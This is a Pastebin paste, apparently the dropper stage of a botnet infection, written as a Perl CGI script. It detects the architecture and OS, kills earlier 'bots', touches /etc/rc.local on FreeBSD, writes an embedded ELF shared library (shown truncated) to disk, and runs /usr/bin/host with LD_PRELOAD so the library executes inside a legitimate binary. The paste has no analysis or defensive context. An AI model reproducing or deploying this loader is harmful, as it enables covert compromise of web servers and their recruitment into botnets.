Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/usr/bin/perl
- use Config;
- print "Content-type: text/plain\n\n";
- $SO32="\x7f\x45\x4c\x46\x01x4c\x4f..\x00\x00";
- $SO64="\x7f\x45\x4c\x46\x02x4c\x4f..\x00\x00";
- # detect arch
- $arch = $Config{longsize} * 8;
- print "Arch=".$arch."\n";
- $so = ($arch == 32 ? $SO32 : $SO64);
- # detect system
- $name = "%helper";
- open F, $name and binmode F and read (F, $buf, 8) and close F;
- @b = unpack("C*", $buf);
- $sys = $b[7];
- print "System is ".($sys == 9 ? "FreeBSD" : "Linux")."\n";
- $extra = "";
- if ($sys == 9) {
- # FreeBSD
- $so[7] = pack("C", $sys);
- my $out = `ldd /usr/bin/host`;
- foreach my $line (split /[\n]+/, $out) {
- my ($x, $x, $lib) = split / /, $line;
- if ($lib =~ /(ibc\.|thr)/i ) {
- $extra .= $lib." ";
- }
- }
- if ($extra !~ /libthr/i) {
- $extra = "libc.so.7 libthr.so.3 ";
- }
- # touch /etc/rc.local
- open (TMP, ">>/etc/rc.local") and close TMP;
- }
- # kill bots if any
- $name=~s/.*\///g;
- system("killall -9 ".$name." 2>/dev/null");
- # drop library
- open $F, ">./sess.so";
- print $F $so;
- close $F;
- print "Drop library\n";
- $ENV{'AU'}=$ENV{'SERVER_NAME'}.$ENV{'REQUEST_URI'};
- system("LD_PRELOAD='".$extra." ./sess.so' /usr/bin/host");
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement